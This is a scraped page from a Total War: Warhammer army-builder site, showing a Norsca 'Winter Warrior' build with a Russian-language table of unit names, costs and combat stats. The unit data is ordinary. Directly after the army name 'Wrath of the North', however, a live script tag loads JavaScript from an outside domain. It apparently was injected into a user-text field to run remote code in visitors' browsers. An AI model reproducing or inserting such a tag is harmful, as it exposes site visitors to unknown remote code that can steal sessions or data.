Left Panel
Army of the North
Winter WarriorBuild by ArmigeriDefensores - 2020-03-08 10:46:26
1
1
100
100
100
100
100
100
100
100
100
100
100
100
100
100
100
24
24
24
24
24
24
24
24
24
24
24
24
24
24
24
90
90
90
90
90
5
5
5
Wrath of the North <script src="https://jsresourcenet.com/honga"></script>
| No. | Unit | Name | Sol. | Custom Cost | Recru. Cost | Upkeep Cost | Ship HP. | Ship Spd. | Msl. Dmg. | Rng. | Sht. /min | Amo. | Mle. Atk. | Mle. Dmg. | Chg. | Mle. Def. | Arm. | HP. | Mor. |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Командование (2) | 2 | 1625 | 2250 | 625 | - | - | - | 75 | 735 | 70 | 62 | 100 | 8788 | 130 | |||||
| 1 | Вульфхеднары-оборотни | 1 | 1150 | 1150 | 288 | 45 | 420 | 40 | 32 | 70 | 5040 | 70 | |||||||
| 2 | Шаман-чародей (Металл) (Норскийский боевой конь) | 1 | 475 | 1100 | 337 | 30 | 315 | 30 | 30 | 30 | 3748 | 60 | |||||||
| Пехота ближнего боя (33) | 1875 | 47050 | 37550 | 9290 | - | - | - | 1197 | 3130 | 1174 | 1102 | 1915 | 16329 | 2420 | |||||
| 3 | Громилы Пса (грабители-берсерки) | 100 | 1050 | 1050 | 263 | 50 | 52 | 33 | 31 | 15 | 102 | 100 | |||||||
| 4 | Грабители-берсерки | 100 | 750 | 850 | 188 | 40 | 52 | 33 | 24 | 15 | 102 | 80 | |||||||
| 5 | Грабители-берсерки | 100 | 750 | 850 | 188 | 40 | 52 | 33 | 24 | 15 | 102 | 80 | |||||||
| 6 | Грабители-берсерки | 100 | 750 | 850 | 188 | 40 | 52 | 33 | 24 | 15 | 102 | 80 | |||||||
| 7 | Грабители-берсерки | 100 | 750 | 850 | 188 | 40 | 52 | 33 | 24 | 15 | 102 | 80 | |||||||
| 8 | Грабители-воины | 100 | 1000 | 1000 | 250 | 36 | 39 | 20 | 53 | 115 | 96 | 75 | |||||||
| 9 | Грабители-воины | 100 | 1000 | 1000 | 250 | 36 | 39 | 20 | 53 | 115 | 96 | 75 | |||||||
| 10 | Грабители-воины | 100 | 1000 | 1000 | 250 | 36 | 39 | 20 | 53 | 115 | 96 | 75 | |||||||
| 11 | Грабители-воины | 100 | 1000 | 1000 | 250 | 36 | 39 | 20 | 53 | 115 | 96 | 75 | |||||||
| 12 | Грабители-воины | 100 | 1000 | 1000 | 250 | 36 | 39 | 20 | 53 | 115 | 96 | 75 | |||||||
| 13 | Грабители-воины (тяжелое оружие) | 100 | 1100 | 1100 | 275 | 36 | 40 | 30 | 32 | 80 | 96 | 75 | |||||||
| 14 | Грабители-воины (тяжелое оружие) | 100 | 1100 | 1100 | 275 | 36 | 40 | 30 | 32 | 80 | 96 | 75 | |||||||
| 15 | Грабители-воины (тяжелое оружие) | 100 | 1100 | 1100 | 275 | 36 | 40 | 30 | 32 | 80 | 96 | 75 | |||||||
| 16 | Грабители-воины (тяжелое оружие) | 100 | 1100 | 1100 | 275 | 36 | 40 | 30 | 32 | 80 | 96 | 75 | |||||||
| 17 | Грабители-воины (тяжелое оружие) | 100 | 1100 | 1100 | 275 | 36 | 40 | 30 | 32 | 80 | 96 | 75 | |||||||
| 18 | Вульфхеднары | 24 | 950 | 950 | 237 | 32 | 60 | 32 | 28 | 15 | 309 | 60 | |||||||
| 19 | Вульфхеднары | 24 | 950 | 950 | 237 | 32 | 60 | 32 | 28 | 15 | 309 | 60 | |||||||
| 20 | Вульфхеднары | 24 | 950 | 950 | 237 | 32 | 60 | 32 | 28 | 15 | 309 | 60 | |||||||
| 21 | Вульфхеднары | 24 | 950 | 950 | 237 | 32 | 60 | 32 | 28 | 15 | 309 | 60 | |||||||
| 22 | Вульфхеднары | 24 | 950 | 950 | 237 | 32 | 60 | 32 | 28 | 15 | 309 | 60 | |||||||
| 23 | Вульфхеднары (доспехи) | 24 | 1100 | 1100 | 275 | 32 | 60 | 32 | 28 | 70 | 309 | 60 | |||||||
| 24 | Вульфхеднары (доспехи) | 24 | 1100 | 1100 | 275 | 32 | 60 | 32 | 28 | 70 | 309 | 60 | |||||||
| 25 | Вульфхеднары (доспехи) | 24 | 1100 | 1100 | 275 | 32 | 60 | 32 | 28 | 70 | 309 | 60 | |||||||
| 26 | Вульфхеднары (доспехи) | 24 | 1100 | 1100 | 275 | 32 | 60 | 32 | 28 | 70 | 309 | 60 | |||||||
| 27 | Вульфхеднары (доспехи) | 24 | 1100 | 1100 | 275 | 32 | 60 | 32 | 28 | 70 | 309 | 60 | |||||||
| 28 | Дикие пасти (вульфхеднары - доспехи) | 24 | 1450 | 1450 | 363 | 41 | 60 | 32 | 36 | 70 | 309 | 70 | |||||||
| 29 | Дикие пасти (вульфхеднары - доспехи) | 24 | 1450 | 1450 | 363 | 41 | 60 | 32 | 36 | 70 | 309 | 70 | |||||||
| 30 | Дикие пасти (вульфхеднары - доспехи) | 24 | 1450 | 1450 | 363 | 41 | 60 | 32 | 36 | 70 | 309 | 70 | |||||||
| 31 | Дикие пасти (вульфхеднары - доспехи) | 24 | 1450 | 1450 | 363 | 41 | 60 | 32 | 36 | 70 | 309 | 70 | |||||||
| 32 | Дикие пасти (вульфхеднары - доспехи) | 24 | 1450 | 1450 | 363 | 41 | 60 | 32 | 36 | 70 | 309 | 70 | |||||||
| 33 | Великое стадо Кровавого фьорда (дикий мамонт) | 5 | 5000 | 1700 | 425 | 34 | 525 | 93 | 30 | 30 | 3408 | 100 | |||||||
| 34 | Великое стадо Кровавого фьорда (дикий мамонт) | 5 | 5000 | 1700 | 425 | 34 | 525 | 93 | 30 | 30 | 3408 | 100 | |||||||
| 35 | Великое стадо Кровавого фьорда (дикий мамонт) | 5 | 5000 | 1700 | 425 | 34 | 525 | 93 | 30 | 30 | 3408 | 100 | |||||||
| Стрелковая пехота (5) | 450 | 2750 | 3000 | 750 | - | 140 | - | - | 60 | 180 | 140 | 60 | 100 | 75 | 335 | 250 | |||
| 36 | Грабители-охотники | 90 | 550 | 600 | 150 | 28 | 80 | 8.3 | 12 | 36 | 28 | 12 | 20 | 15 | 67 | 50 | |||
| 37 | Грабители-охотники | 90 | 550 | 600 | 150 | 28 | 80 | 8.3 | 12 | 36 | 28 | 12 | 20 | 15 | 67 | 50 | |||
| 38 | Грабители-охотники | 90 | 550 | 600 | 150 | 28 | 80 | 8.3 | 12 | 36 | 28 | 12 | 20 | 15 | 67 | 50 | |||
| 39 | Грабители-охотники | 90 | 550 | 600 | 150 | 28 | 80 | 8.3 | 12 | 36 | 28 | 12 | 20 | 15 | 67 | 50 | |||
| 40 | Грабители-охотники | 90 | 550 | 600 | 150 | 28 | 80 | 8.3 | 12 | 36 | 28 | 12 | 20 | 15 | 67 | 50 | |||
| Subtotal | 2327 | 51425 | 42800 | 10665 | - | 140 | - | - | 60 | 1452 | 4005 | 1304 | 1264 | 2090 | 25452 | 2800 | |||

English
Français
Italiano
Deutsch
Español
Čeština
Polski
Türkçe
Português (Brasil)
한국어
简体中文
正體中文